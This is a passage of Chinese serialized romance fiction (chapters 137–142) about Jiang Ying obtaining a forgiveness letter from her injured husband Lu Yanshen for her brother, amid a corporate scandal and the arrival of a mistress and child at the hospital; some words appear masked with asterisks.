他缓缓收回手,扯了扯发干的嘴角,“躺沙发上睡去,别人看到你还以为见到鬼了呢。”
江莹冷冷看着他,没有反驳,拢了拢头发,“既然你醒了,那我们就可以谈谈了。”
陆砚深看着她拒人于千里之外的模样,胸口比刀口还疼。
“谈什么?”
“谈小墨的事。”江莹深吸了一口气,毫不避讳地迎上他的目光,“只要你肯出具谅解书,条件由你开,**的事我不追究,那一个亿,我也可以不要。”
陆砚深眼神眯了一下,眉头紧皱,“什么条件都答应?”
江莹垂在身侧的手用力攥紧,声音笃定,“是。”
“嘶!”陆砚深眉头紧皱,隐忍的样子,让人看着觉得他很痛。
再开口,声音都软了五分,“我受伤这段时间跟我回家,照顾我。”
江莹看着他脸色沉了沉,这个人是会折腾她的,“刚好过年,你们一家三口可以名正言顺团聚,这么好的机会你不抓住?”
“我跟她……跟你说了很多遍,不是你想的那样。”
陆砚深不知道该怎么解释,只能转了话题方向,“江莹,我差点就**,照顾我几天……嘶……,换江墨平安,很划算的。”
他说话间,眉头皱得更紧,苍白的脸上,是江莹从未见过的孱弱。
江莹强装的情绪,瞬
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间软了三分,咬唇道:“行,我答应你。”
陆砚深微微垂眸,眼里的隐忍不见,取而代之的是隐隐的兴奋。
江莹见他半眯着眼不说话,提醒道:“我写谅解书,你签字。”
陆砚深乖巧点头,“可以,但你也得写一份。”
江莹皱眉,“我写什么?”
“承诺书,承诺在我的伤未痊愈的情况下,陪我在医院,等我可以出院了跟我回家住,直到医生说完全康复。”
陆砚深抬头,视线沉沉落在她脸上。
江莹想到了一个词“无奸不商”,狗东西躺在病床上还怕自己被算计,甚至还想着怎么算计她。
她看着他磨了磨后槽牙,没再多说一个字,直接掏出手机打了谅解书和承诺书。
然后去护士站打印出来,并借了笔和印泥。
准备好东西,江莹折返回来直接抓起陆砚深的手,把笔塞到他手里。
“签字,然后按手印。”
陆砚深视线在那张纸上扫过,腹部的伤口疼得像火在烧,但漆黑的眸子却藏着江莹看不出来的喜悦。
“你先签。”陆砚深声音有些虚,语气却强势,“承诺书签了,按好手印给我。我现在动不了,万一你拿着谅解书跑了,我上哪儿抓人?”
江莹气嘴颤,是想笑又笑不出来那种颤。
“陆砚深,你知道将来自己是**的吗?”江莹弯腰,手指毫不客气地在他胳膊上掐了一把。
“嘶——”陆砚深倒抽了一口凉气,拧眉低低问:“你想我**?”
江莹冷冷看着他,心里气,偏偏又无可奈何,谁让他握着江墨以后的人生。
“这个时候了还这么多心眼。你就不怕算计太多哪天脑子不够用,直接**?”
嘴上骂着,但江莹还是老老实实地拿起笔,在承诺书右下角签上自己的名字。
她没有退路。
江墨马上要大学毕业,他有着大好的前途,是江家的希望,决不能因为一时冲动背上故意**的罪名。
答应了舅妈护好他,她就算把自己卖了,也得保住他。
第138章 你不是一个人
抬起沾了印泥的手,江莹在自己的名字上按下一个清晰的指纹。
然后,她把签好的承诺书递到陆砚深眼前,“看清楚了,我向来说到做到。不像陆总,说到做不到。”
陆砚深看着她厌恶的眼神,嘴角扯出一抹极淡的笑。因为失血过多,他的唇色发白,整个人看起来状态很不好。
“下手这么狠,”他微微喘了口气,深邃的眸子锁着她,“你是不是巴不得我**,好直接继承我的遗产?”
江莹面毫不避讳地迎上他的目光,“还真是,以你的身价继承遗产,肯定比离婚分我的那二点五亿多的多了。”
陆砚深呼吸一滞,胸口那股酸涩的闷痛盖过了腹部刀伤的痛。
这个女人怕是已经恨死他了。
他眼底划过一抹暗淡,没再说话,拿过笔在谅解书上签下自己的名字。
下一秒,江莹一把抓过他的手,直接按进印泥里,然后在他的名字上按下。
完成了签署,江莹抽回手,将谅解书折好塞进包里,然后转身就走。
“江莹。”身后传来男人隐忍的声音。
江莹脚步顿住,却没有回头。
“先去一趟江墨的公寓,给他取几件厚衣服,看守所里应该没有暖气,他进去得急,穿得太单薄,怕他熬不住。”
江莹的后背僵住,她倏地转过头,狠狠瞪了病床上的男人一眼。
现在知道装好人了,一切事情的罪魁祸首,装什么好人?
如果不是他自作主张把**给了秦欣的母亲,或许舅妈就不会死,江墨又怎么会发疯去捅他?
现在又来关心江墨,装好人,虚伪!
“假惺惺,你跟秦欣绝配。”
江莹说完冷着脸拉开病房的门,头也不回地走了出去。
陆砚深听着房门关上,望着窗外阴沉的天,忍不住闷哼一声,疼!
想到江莹的恨和嫌弃,除了疼,还觉得心里堵得慌。
现在他不想让她走,想把人留在身边,却只能用这种手段。
曾经那个看到他,就往他身上扑的女人,好像再也回不来了。
……
出了医院,外面的雪已经停了,但冷冽的风刮在脸上,像刀割一样。
江莹开车直奔江墨的公寓。
江墨上大学后,为了图清静,一直住在自己的公寓。虽然没有梧桐里宽敞,但有着绝对的自由。
江莹平时工作忙,加上这几年心思都在陆砚深身上,她并不常来这里。
但她知道门锁密码,是江墨的生日加上她的生日。
当时江墨设置好密码,半靠在门框上,笑得灿烂,语气里还带着几分调侃:“姐,以后在陆家要是受了委屈,随时来找我。你弟这小破屋,永远为你敞开大门,别忘了咱也是有娘家人的。”
当时她只当是一句玩笑,还敲了他的头骂他乱说话。
现在回想起来,江莹鼻尖一酸。
江莹推开门,屋子里窗帘拉得严严实实。
她按下墙上的开关,灯光亮起的瞬间,江莹被眼前的景象震住。
过道上扔着两件衣服,一件黑色卫衣和一件白色T恤。而白色T恤下摆和袖口上,是大片干涸的暗红色斑块。
血。
赫然醒目的血迹,让江莹头皮一阵发麻,江墨家里怎么会有带血的衣服?
心里被恐惧填满,她本能地开始后退,然后转身拉开房门。
江莹刚迈出去一只脚,身后突然传来一道沙哑的声音。
“姐……你怎么来了?”
江莹脚步顿住,像被钉在了原地。
愣了几秒钟,她回过头,看到江墨就站在卧室门口,头发凌乱,脸色仓白,眼底还有深深的怯意。
“小墨?”江莹的声音抖得不成样子。
他不是应该在看守所吗?怎么会在家?
看着弟弟如同惊弓之鸟的模样,江莹的眼泪瞬间决堤。
她什么也顾不上了,几步冲上前,一把将江墨紧紧抱进怀里。
“姐……”江墨声音颤抖,紧紧抱着江莹,压抑了整整一夜的情绪,在这一刻崩溃,“姐,我捅了他,好多血。”
江莹知道他是吓坏了,手掌轻轻抚摸着他僵硬的后背,泪水顺着脸颊往下掉,“小墨别怕,没事了,都没事了……”
江墨抱着自己唯一的亲人,哭了良久,直起身问:“陆砚深**吗?”
江莹擦了擦他脸上的泪,看着她脸上的伤,心疼地摇头,“没有,
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已经没有生命危险了,你怎么在家?”
“是陆砚深让律师去保释的我。”
江莹愣住,陆砚深这是……耍她?
其实,陆砚深在被抬上救护车之前,就已经替江墨安排好了一切。
在保安将江墨死死按在地上时,报警说他蓄意**时,他转而拨通了李律师的电话。
“李律师,听好……是我自己走路不小心绊倒导致被手里的刀扎伤,手里的刀是新买的,家里没有水果刀……江墨只是路过,他想拔刀救我,要送我去医院……保安误会了,跟他没关系。”
他每说一个字都扯动伤口,同时伴随着鲜血涌出,但还是强撑着交代了事情,并嘱咐李律师务必把江墨保释出来。
陆砚深知道江墨对江莹来说意味着什么,他脑子里唯一的念头是——不能让江墨有事。
因为如果江墨毁了,江莹会恨他一辈子!
他用半条命,换了江墨的平安,也换了江莹能暂时留在他身边的筹码。
江莹看着江墨,这会儿没有心思计较陆砚深的行为图什么。
舅妈的走,让她太痛。
这几天,她沉浸在失去至亲的悲伤里,沉浸在对陆砚深的恨意里。她怀疑、她愤怒、觉得如果用了原本定好的**,舅妈或许就不会死。
她把所有的精力都放在了痛苦和憎恨陆砚深上。
却忘了这个世界上还有一个比她更难过、更痛苦的人。
江墨失去了他的妈妈。
那个从小把他宠到大,会在他被外公和舅舅训斥时偷偷护着他的妈妈。
更忽略了江墨心底跟她一样的恨意和不甘。
“对不起,小墨……是姐不好,是姐没有看顾好你……”江莹眼泪掉地急,声音哽咽,“你妈不在了,但你还有姐姐,你不是一个人,别再冲动做傻事。”
江墨强撑的精神瞬间崩塌,哭得像个孩子,“姐,我没有妈了……我爸走了,我妈也走了,他们都走了。”
江莹轻轻抱住弟弟,在葬礼上都没有掉泪的人,情绪压抑了这么多天,是该发泄出来。
哭一场,也好。
她安慰着江墨,口袋里的手机一直不停地震动。
急切,紧迫!
第139章 年会出事
江莹一开始没有注意到手机震动,抱着安抚江墨才感觉到口袋里手机在震。
她拍了拍江墨,然后直起身去看手机,备注名是小娄。
“你去睡一觉,陆砚深说了不追究,不用怕。古坊斋还有点事,我去处理一下,好好休息,什么都不用想,舅妈不想看到你这现在这样。”
江墨点头,“姐,我错了,以后不冲动了。”
昨晚他在派出所时,心里只有一个念头,那就是这辈子完了。他想过很多自己将来要做什么,从来没有想过会在监狱里度过。
那一刻,他彻底怕了!
江莹抬头擦了擦他脸上的泪,“去洗一下脸,睡一觉,醒来一切就是新的开始。”
江墨点头,刚转身又停住脚步,回头道:“姐,昨晚保安明明说是陆砚深指认我拿刀捅他,为什么又要让律师保释我?”
江莹愣住,“他指认你?”
“保安亲口说的,说陆总说我蓄意**。”
事情怎么会有两个版本,到底哪个是真的?
“想不通就别想了,反正现在你没事了,这件事以后也不会有人为难你。”
她安抚好江墨,出了他的小公寓后,给**小娄回电话。
电话刚响了一声,对方快速接通,“江小姐,遇到麻烦了,我好像被人盯上了,调查的事可能要先终止。我把你而给的第二期款项先退给你,等我确定安全了,再联系你。”
听到这话,江莹心里咯噔一下,“别,钱不用退,毕竟你是因为我的事才遇到了危险。”
“这是我能力不行,跟你没关系,我已经退了,你记得收一下。”
小娄说完打算挂断电话,江莹急切道:“娄先生,你若是信得过我,我可以给你安排一个住所,并安排人照料你的日常生活。”
江莹是心里过意不去,毕竟是自己找的他,把他卷入了危险。
对方沉默到了一瞬,然后沉声道:“会不会给你带来麻烦?”
“不会,我外公老家有一处宅子,一直是族亲在打理,不会有问题。”
老宅那里,张启明从来没有去过,她小时候跟着母亲在那边写生,住过几年。她对古建筑的痴迷,也源于老宅,而手工雕刻的启蒙老师是母亲的堂伯。
“行,地址发我,我现在就过去。”
江莹挂了电话,给小娄发地址,然后给老家的表姐打电话。
表姐是母亲堂姐的女儿,结婚的第二年丈夫在部队抗洪抢险中去世,她便带着自己女儿在老宅住下,日常打理老宅,靠江莹母亲接济生活。
三年前车祸后,表姐不再要江莹的钱,时不时还会去疗养院看看江岚。
安排好之后,江莹去了古坊斋,凌澈给她发消息说今天下午要回家过年,江莹想在他走之前把承诺兑现。
这次直播之后的事都是凌澈在跟进,虽然有梁玥帮忙,但主力军还是他。
产品的设计一半来自于他,没有他的付出,山风文创根本就不会这么快被大家所知道。
她到时,凌澈已经收拾好自己的行李,在等她。
“学姐,不好意思,这个时候我知道我不该让你费心,但我……”
男孩子脸皮薄,他临走给江莹发消息,目的可想而知。
但江莹不觉得有什么,这事他应得的,即便他不说,她也是要给他的。
“跟我还客气上了,我们直播能成功,军功章上有你一半的功劳,所以我把这次利润的一半转到了你账上。”
江莹扯唇笑了笑,这是她这几天第一次发自内心的笑。
因为自己曾经一个善念,凌澈毫不迟疑的跟着自己,甚至连个像样的工作室都没有。
若不是老师让他们在二楼办公,他们还真就是个皮包公司。
“学姐,太多了,我是提供了设计稿,但也是在你的建议下修改完善的。还有,若不是大家对“山风”的认可,我们也不可能第一场直播就爆单。”
凌澈说着更难为情,“我妈说,我爸病重,需要钱。要不然,我也不会在这个节骨眼儿打扰你。”
江莹听到“病重”心里像是有应激反应一样,猛地一咯噔。
“我把你当弟弟,以后别这么客气,你赶紧回去。若是有需要,可以把你爸接到江北来治疗,这边的医疗比你老家那边要好一些。”
凌澈点头,神色凝重,“我也是这么想的,这次回去劝劝他们。之前说已经稳定了,不知道怎么突然就严重了。”
江莹不知道该怎么安慰,人生在世,生老病死,没有一样是能够人为干预的。
最终,她笑了笑,“走吧,我们一起吃顿饭,算是我们的庆功宴。而且,只有吃饱了,才有力量做自己想做的事。”
两人说话间,宋瑾修过来。
“莹莹在?”他说着打量着她,“气色还是不太好,昨晚没有休息好吗?”
江莹勾了勾唇角,“我没事,刚好师哥也来了,中
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午一起吃饭,叫上梁玥和孟澜,这几天辛苦你们围着我转,替我担心。”
宋瑾修温暖的眸子里染上笑意,“这么多年的关系,还跟我们客气。”
江莹垂眸眼睛发涩,这些年虽然张家人没有给她什么温暖,但身边的几个朋友却一直给她支持和温暖。
宋瑾修揉揉她的头,“莹莹,有句话我一直都想说,但怕你难受就没有说。其实,你费劲心力维持舅妈的生命,甚至搭上了自己的幸福,这样做真的值吗?若不是因为舅妈,你当初是不是就不会选择陆砚深?”
在他的认知里,江莹嫁给陆砚深无非也是为了钱,她跟陆砚深还没有跟他关系亲近,怎么可能会有感情。
但,女人的心思都一样,慕强!
喜欢强大的人,陆砚深是江北首富,人帅多金,自然吸引女人。
这种吸引是建立在金钱的基础上,跟感情没有半点关系。
江莹没想到宋瑾修会有这种心思,一时间不知道该怎么回答。
这时凌澈开口,“师哥,也不能这么说,生命只有一次,我们肯定希望自己的亲人能够陪伴自己的时间长一些。就像我爸,不管花再多钱,我吃再多苦,我都想尽可能延长他的生命。这不是值不值,而是不这么做我会觉得自己不配做人。”
宋瑾修原本温润的神色,僵了一瞬,转头看了凌澈两秒钟,再回头看江莹神色依旧温润,“或许是因为我没有家人,理解不了。”
凌澈被他那一眼看得有点忐忑,他从未见过宋瑾修那样复杂的眼神,心想是不是自己说错了话
江莹一个深呼吸后,开口:“不管怎么选,最重要的是无愧于心。”
当初若是她不管舅妈,她的生活会轻松一半,但就像凌澈说的,她会觉得自己不配做人。
……
中午,几人在餐厅坐下。
江莹早上没有吃饭,一直担心江墨,现在胃里又酸又烧,想到自己肚子里的宝宝,深深觉得亏欠。
她抬手轻轻抚摸自己的小腹,似乎比之前硬了不少。
梁玥和孟澜早上起来没有见到她,急得不行,幸好收到她的消息说去看江墨,才安心。
“我去!”低头看新闻的孟澜惊叹出口,“陆氏总裁缺席公司年会,疑似遭人暗杀。网上还说,陆氏高层做空分公司。”
宋瑾修适时开口,“业内都在关注陆氏今天的年会,看来今天下午陆氏的股票要有所波动了。”
第140章 陆氏年会集体**
梁玥看了一眼神色平静的江莹,心想这家伙总算是不再因为陆砚深的事动容,看来是真的放下了。
“哎,陆氏有没有回应,消息是真是假?陆砚深是生是死?”
江莹没有任何反应,只顾低头吃饭,梁玥却开始八卦。
孟澜白了她一眼,“你这不是废话吗,他要真**,莹莹还能坐在这儿?”
梁玥眨眨眼,好像也是,毕竟还没有离婚,江莹还是他法律上的妻子。
凌澈看着江莹,轻舔了下唇,最终没有说话,而是给江莹加了她喜欢吃的,香辣牛肉。
宋瑾修不动声色看了一眼江莹,然后回消息:等待时机,先不出手,明天应该是机会。
江莹真吃饭,孟澜在此感慨,“**,陆砚深一定是掘了人家祖坟,要不然人家怎么会这么报复他?”
梁玥听她这么说,凑了过去。
不看还好,看了手里的筷子直接掉在了地上,“刺激呀,陆氏年会集体**,这样的年会牛逼!”
江莹这会儿不淡定了,抬头问:“什么情况?”
“莹莹,大姑姐戴绿帽子了,好大一顶。这个小三可以处,敌人的敌人就是朋友。不过这个三姐看着还挺娇小,会不会干不过陆家长公主?”
江莹瞬间了然,她看向宋瑾修,想说什么最终还是没有吭声。
医院,病房。
陆砚深没心情吃饭,看着新闻心里再次不安。
这个消息为什么会被爆出去,谁爆出去的,都不重要。
重要的事,证明了他的怀疑,真的有人在背后助推,布局了这么久,应该是冲他和陆氏来的。
公司高管做空,这事分明说的就是许振清的事,不出意外他的事很快就会被曝光。
陆砚深沉着脸,给杜宇打电话。
电话接通,他声音沉冷,“联系各大媒体平台,若是有跟许振清相关的消息,直接删除,避免引起股价波动。”
杜宇这会儿正愁,听到他这话,哆嗦道:“陆总,来不及了,公司年会的大屏幕上正播放许总的视频。”
电话那头杜宇的声音像一把刀,直接扎在陆砚深的神经上。
他猛地一下从病床上坐了起来。
动作太猛,牵扯到腹部还得刀口,撕裂的剧痛瞬间蔓延全身。
陆砚深死死咬紧牙关,额头上立刻渗出了一层密密麻麻的冷汗。
他分不清这到底是疼出来的,还是生平第一次感觉到了真正的恐惧。
许振清的视频暴露在年会现场,这已经不是简单的背叛、出轨。
显然是针对陆家、针对陆氏集团早就蓄谋已久的布局。
陆君刚洗完水杯从卫生间出来,一抬头就看见原本躺着的人竟然直挺挺地坐在那儿。
她吓得手里的杯子直接掉在地上,摔得粉碎,几步冲了过去,“砚深,你干什么呢?”
陆君一把扶住他的肩膀,声音都在发颤,“不要命了是不是?”
她强行压着陆砚深缓缓躺下,视线下移,顿时倒抽了一口凉气。
病号服上,一片殷红的血迹正以肉眼可见的速度往外渗。
“医生!”
陆君的声音瞬间破了音,转身朝着门外大喊,“医生快来啊!”
病房门外很快传来护士急促的脚步声。
陆砚深却像感觉不到疼一样,根本不理会大呼小叫的陆君。
他死死攥着手机,对着电话那头的杜宇快速下达指令。
“先别慌。”
他喘了一口粗气,声音虚弱,说出的话却依旧清楚,“让人事部立刻出具一份解雇合同,你亲自去跟许总通个气,告诉他现在必须统一口径,先把**稳住。”
电话那头的杜宇连声答应,背景音里全是公司内部乱作一团的嘈杂。
陆砚深闭了闭眼睛,强忍着刀口被生生撕开的绞痛。
“等会儿盯着开盘后的股票走势,若是出现大幅度下跌,立刻把我们没有对外透露的那款新型材料的最新研究成果公布出去。”
这是他压在箱底的一张王牌,这款新型材料一旦面世,不光可以广泛应用于军事和航空领域,还能大幅度提高新能源电池的续航能力,打破现有的行业壁垒。
这对国家的战略规划是极大的助力,对民生而言是意味着更安全、更廉价的生活保障。
一旦这个成果提前公布,资本市场对陆氏的利好预期将是空前的,也足以抵消许振清丑闻带来的一切负面影响。
陆君根本听不懂什么新型材料,她只看到自己弟弟连喘气都费劲,还在惦记着股票。
“你疯了吗?”她红着眼睛去抢陆砚深的手机,“到底是公司重要还是你的命重要?”
……
李记私房菜馆,江莹站在路边,看着凌澈上了出租车走远。
表面平静的她,内心却隐隐开始担心陆砚深。
公司年会上出现这么大的丑闻,陆砚深的压力可想而知,偏偏
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他这个时候还躺在床上不能动。
孟澜回来江北几天,今天家里人聚餐她提前离开。
梁玥下午还有工作,因为江莹她已经请了好几天假,虽然沈斯阳不会说什么,但毕竟那人钱财,总得去**。
最终江莹身边只剩下宋瑾修,他眼神温柔地看着她,“莹莹,这会儿出太阳了,天气还不错,不如带你去郊外的庄园散散心?”
江莹收回视线,语气平静道,“师哥,江墨把陆砚深捅伤了,不管出于哪方面我都得去医院看看。”
宋瑾修震惊地看着她,一脸的不可思议,“江墨干的?”
“是,他恨陆砚深没有把**给我舅妈。”
“那是应该去,千万不能影响到江墨,他马上要毕业了,而且对工作很有激情,一定会有一个好未来。”
江莹笑笑,“他说跟着师哥学了不少东西,多亏你教他。”
宋瑾修温润地看着她,眼神宠溺,“跟我还客气,你知道的,我为了你付出什么都愿意。”
江莹:“……”
宋瑾修看出她的为难,扯唇笑笑,“不说了,你赶快去,一定要护住江墨。”
江莹点头,“行,师哥,那我先走。”
她说完转身走向自己的车,主要是不知道该怎么面对宋瑾修。
宋瑾修是懂她的,他一定知道她的回避就是拒绝。
宋瑾修站在原地,看着她匆匆离去的背影,眼底那抹伪装的温润瞬间褪去。
取而代之的是一抹毫不掩饰的狠厉与得逞的笑意。
江莹赶到医院时,医生已经重新给陆砚深处理好了伤口。
刺鼻的消毒水味弥漫在空气里。
陆君坐在床边,正苦口婆心地劝着脸色惨白的弟弟。
“公司的事有杜宇看着,出不了大乱子,你现在最重要的就是养伤。”
听见开门声,陆君回过头。
看见是江莹,她脸上的担忧瞬间化作了厌恶。
她不屑地上下打量了江莹一眼,“你来干什么?为你那个**犯弟弟求情,别痴心妄想。还有既然已经签了离婚协议,以后就是陌生人,别以为你守着砚深献殷勤,就会放过你那个**犯弟弟。”
江莹目光越过陆君,直直落在病床上的陆砚深脸上。
陆砚深的眉头紧拧,他不顾腹部的隐痛,沉声打断了陆君刻薄的话,“姐,你先回去吧。回去陪陪诺诺,也想想你跟姐夫的事,他这两天就回来了。”
第141章 受个伤还转性了
陆砚深顿了顿,声音压得很低,“他回来,你们俩好好聊聊,问题总是要解决,不能这么拖着。”
提到许振清,陆君脸上的嚣张瞬间凝固了。
但她转头看向江莹时,眼神里的恨意更浓。仅凭那个女人是他师哥的堂妹,而她跟宋瑾修又走得近这一点,她就恨**江莹。
江莹迎着陆君狠毒的目光,冷冷地扯了一下嘴角。公司年会上播放的那段视频,怕已经在整个江城的上流圈子传疯了,她却全然不知。江莹都不知道该恨她,还有些同情她。
“别这么看着我。”
江莹走上前,将手里的包随手扔在一旁的沙发上。
“你还是多操心操心自己,想想今后怎么在江城的太太圈里混吧。”她眼神冷冽,字字诛心,“毕竟你头上戴的那顶绿帽子,可比我头上的要大,要绿得多。”
“江莹!”
病床上的陆砚深好不容易挂了电话,情绪平复,听到江莹这话开口制止,生怕她刺激陆君。
陆君心底的那根刺被人拨动,气得浑身发抖,刚要开口骂江莹,被陆砚深叫住,“姐,你先回去。不管出了什么事,你记住,你身后还有我。”
陆君的眼泪一下子就涌了出来,眼泪簌簌往下掉。
陆砚深深吸一口气,眉头就没有松开,声音都带着喘,“回去照顾好你自己和诺诺,外面的所有事情我都会解决。公司的事已经很乱了,别再让**心。”
陆君从小到大最疼这个弟弟,看他虚弱成这样还要来安抚自己,心疼抵过了委屈。
她擦了一把眼泪,声音温柔,“你好好休息,我回家不给你添乱。你放心,姐现在帮不了你大忙,但也不会给你填麻烦。”
陆砚深松了一口气,紧绷的后背缓缓放松。
临走,她像看仇人一样狠狠瞥了江莹一眼。
病门关上,房间里彻底安静下来。
江莹站在床边,定定地看着床上那个刚刚从鬼门关走了一遭,现在又被伤口折磨的冷汗涔涔的男人。
她心里五味杂陈。
来的路上,她满脑子都在想江墨说的话。
他为什么要那么做?
他明明在已经指认了江墨,为什么转头又让李律师去保释江墨?
难道就只是为了拿那份谅解书做筹码,逼着自己回家照顾他?
这个逻辑根本就说不通。
如果她昨晚没有因为害怕直接跑来医院,而是先给江墨打了个电话。
那她就会立刻知道江墨已经安全在家,根本就不会为了一份谅解书跟他签承诺书。
陆砚深在商场上摸爬滚打这么多年,做事向来走一步算十步。
他绝对不可能做这种漏洞百出的事,把筹码压在一个根本没有把握的概率上。
排除掉所有的不可能,剩下的那个猜测,就是唯一的真相。
那个一口咬定是陆砚深指认江墨蓄意**的保安,他会不会在撒谎。
江莹拉过椅子,在病床边坐下。
“陆砚深,你最近到底得罪谁了?”
陆砚深皱眉,“江我感觉这个镇痛泵不起作用,你看看是不是没电了。”
江莹看他脸色苍白,不由得心软。
她起身,站在他身边看着弯腰压低身体,修身的针织衫更显身材。
纤腰盈握,胸前饱满。
陆砚深看着她漂亮的锁骨,眸色沉了沉,仿佛腹部的痛都轻了几分。
江莹轻轻将手伸进他腰侧,缓缓拿起镇痛泵,生怕扯到他的伤口,看到不是没电,而是输液管被他压到了。
被压的几乎对折,流量肯定小,不疼才怪。
江莹将输液管理顺,“这会儿感觉怎么样?”
陆砚深确实轻松了不少,没有刚才那么疼。
剧烈的疼痛熬过去,他情绪也跟着平静了下来。
知道了对方的目的不过针对陆氏,他反倒不怕了。
他真正怕的,是敌人在暗处,他连对方想从他身上拿走什么都不知道。
他半眯着眼睛,看着江莹那张清冷的脸,嘴角勾起一抹自嘲的弧度。
“没想到有一天会让你照顾我。”
江莹勾唇,向来高高在上,仿佛无所不能的人,躺在病床上照样虚弱。
她坐回到椅子,再次问道:“你最近到底得罪谁了?”
昨晚的事,加上今天公司年会闹出这么大的丑闻
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,江莹对自己的怀疑很笃定。
“我得罪的人还能有谁,不就只有你们姐弟俩吗?”
他故意板着脸,嘴硬地回呛。
“你们一个个的,不都变着法地想让我不好过吗?”
江莹听着他这副死猪不怕开水烫的语气,没好气地狠狠瞪了他一眼。
“我没心思跟你开玩笑。”
她倾身靠向床沿,压低了声音,“现在立刻让你的人去查一下,昨晚在湖心公馆值班的那个保安。”
陆砚深眼皮猛地一跳,视线定格在她脸上。
“江墨跟我说,是那个保安亲口说你指认了他蓄意**。如果真的是你让律师去保释的江墨,那这个保安就一定有问题。”
听到这句话,陆砚深的瞳孔微微紧缩,他盯着江莹看了足足有半分钟,病房里安静的只能听到监护仪的滴答声。
心里更是涌起一阵酸涩,“你……”
他喉结滚了滚,声音沙哑,“你相信我?”
江莹看着他眼底闪过的那一丝不易察觉的脆弱,心口猛地一软。
这个男人,明明受了这么重的伤,明明公司已经乱成了一锅粥,却还在计较她信不信他。
她撇开视线,怕自己再次自作多情。
江莹站起身,拿起水杯去给他倒水,背对着他硬邦邦地丢下一句,“我只是觉得你没有那么笨,这跟相不相信你,没有任何关系。”
陆砚深眸色里隐隐的期待变成了淡淡的落寞,“这件事今天早上你刚走,李律师就来跟我说了,昨晚那个保安是临时调过来的,现在人已经找不到。”
江莹端着水杯的一抖,能把人渗透到湖心公馆,背后这人的手段非同寻常,那湖心公馆还安全吗?
“你别担心,湖心公馆现在是安全的,而且家里我也增加了保镖。”
被狗男人看穿心思,江莹看了他一眼没有说话,她拿起勺子给陆砚深喂水,看着他发干的嘴唇挺难受。
陆砚深视线沉沉落在她脸上,眸色软了不少,没有平日的冷冽,多了少有的温存。
江莹对上他的视线,冷笑:“陆总,受个伤还转性了,这么看着我,几个意思?”
第142章 要不我们不离
温水润过干裂的嘴唇,陆砚**结微滚,他看着江莹近在咫尺的清冷脸庞,视线描摹着她眉眼的轮廓。
死里逃生这一回,他突然就不想再较劲了。
他抬起那只没有针的手,温热的掌心一寸寸覆上江莹正捏着勺子的手背。
江莹指尖一僵,本能的想要抽回。
陆砚深却没给她退缩的机会,指节用力,将她的手紧紧拢在掌心。
“松手,不想喝水直说。”
江莹抗拒,想要抽回手,陆砚深却不松,极力握着她的手,眼神认真得近乎偏执。
“江莹,**的事不是你想的那样,周阿姨的病情并没有到非要**的地步,我去M国就是为了找肾病专家杰森,他的研究成果是可以救周阿姨的。**一直都是为了你舅妈找的,我没有给周阿姨。”
“那你为什么要把捐赠者从监狱转走?”江莹眸色更冷,脸上带了怒气,“陆砚深,敢做不敢当吗?”
“这件事另有隐情,我已经在查,事情复杂,而且可能有危险。你看到了公司年会现场,搞出那么大动静,这意味着什么,你不会不明白。”
陆砚深看着江莹,神色复杂,纠结要不要跟她说捐赠者就是三年前她出车祸的肇事司机。
“那是你得罪人太多,活该被人整。”江莹声音冷漠。
陆砚深暗暗吸了口气,最终没有说车祸的事,她刚经历了舅妈去世,不想让她担心。
“是我活该,但我真的没有转走捐赠人,转移犯人需要上面领导批,我不会这么做。你知道的,姑父一直不允许我跟政府有牵涉。”
这一点江莹是信的,陆氏从来没有做过政府项目。乔远文的身份摆在那儿,江家跟那个官员走得近,会在官场引起风波。
看江莹不再挣扎,还相信他,陆砚深大拇指摩挲着她纤细的指腹,嗓音低沉,“江莹,要不我们不离……”
“啪嗒!”
病房的门毫无预兆被人推开。
一声清脆稚嫩的童声,瞬间划破了房间里刚刚凝结的温存。
“爸爸!”
江莹不由得一颤,来不及思考陆砚深那句没有说完的话,毫不犹豫地甩开陆砚深的手。
掌心骤然落空,陆砚深的心脏骤然下坠,视线看向门口。
秦欣穿着一件米色羊绒大衣,牵着儿子急匆匆走了进来。
小家伙好几天没有见到陆砚深,挣脱了秦欣的手,迈着小短腿,一颠一颠地冲着病床跑了过来。
秦欣精致的脸上惊慌起来,生怕孩子没轻没重。
她急声道:“轩轩,慢点!别碰到爸爸的伤口!”
事实证明她多虑了,小小的身体扑在床边,才刚比病床高出一点点。
他踮起脚尖,两只小手抓住陆砚深垂在床边的手。
“爸爸,我好想你!”
江莹站在一旁,冷眼看着这一幕,悄无声息地往后退了两步。
刚刚被他握过的手背,此刻像被火灼烧过一样,泛着恶心的隐痛。
秦欣红着眼眶走到床边,声音里满是担心,“砚深,我在陆氏年会上才知道你受了这么重的伤。”
她声音有些哽咽,楚楚可怜的模样惹人心疼。
“刚好今天带轩轩来医院复检,他一直吵着要见你,我就带他过来了。护士说没有陪护,我们才进来的,没想到莹莹在。”
她的话滴水不漏,字字句句都是一个母亲的无奈和一个可怜三姐见不得光的谨小慎微。
轩轩人小鬼大,摇晃着陆砚深的手,软糯糯的声音在病房里格外清晰。
“爸爸,对不起,我刚才跑得太快了。”
小家伙仰起脸,黑葡萄似的眼睛无辜地看向江莹。
“我看门口没有人,才直接叫爸爸的。对不起,我没有看到这个阿姨在。”
阿姨。
这声称呼,像一记耳光,精准无误地扇在江莹脸上。
他丈夫的孩子,站在她面前叫他爸爸,叫自己阿姨,有种被人当场打脸的难堪。
陆砚深只觉得太阳穴突突直跳,腹部的伤口随着呼吸扯着疼。
孩子懂事得让人心疼,但他下意识地看向江莹,对上那双毫无温度的眼睛,陆砚深心口发慌。
刚解释了**的事,他可以看得出,江莹是相信他的,气氛就好了那么几秒钟,结果……
“爸爸,你
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是不是生气了,对不起嘛!”
小家伙摇着陆砚很两根手指,抬头望着陆砚深,那可怜兮兮的小表情,让陆砚深心里软了几分。
他握住轩轩的小手,声音慈爱温柔,“爸爸不怪你,轩轩最懂事。”
秦欣看着陆砚深握着儿子的手,眼泪吧嗒吧嗒地往下掉,却没有上前,规规矩矩站在床尾。
“莹莹,不好意思,不知道你在,要不然我也会带着轩轩进来。”
江莹睨了她一眼冷笑,这意思就是她不在她就可以带着孩子堂而皇之地走进来?
陆砚深听着她的声音头皮发麻,他现在的视线停留在江莹身上,眼神里透着连自己都没察觉的忐忑。
“我没事,轩轩身体本来就弱,你别在哭哭啼啼,吓到孩子。”
他的语气虽然不耐,但在江莹听来,却字字句句都是对她们母子的维护。
怕吓到孩子,陆砚深还真是爱惨了他儿子。
江莹弯唇,眼底泛起一抹讥诮的冷笑,双手交叠在小腹前,两只手都捶在小腹上。
仿佛想要把这个场面跟肚子里的宝宝隔绝开。
看了几秒钟父慈子孝,江莹不想再当观众。
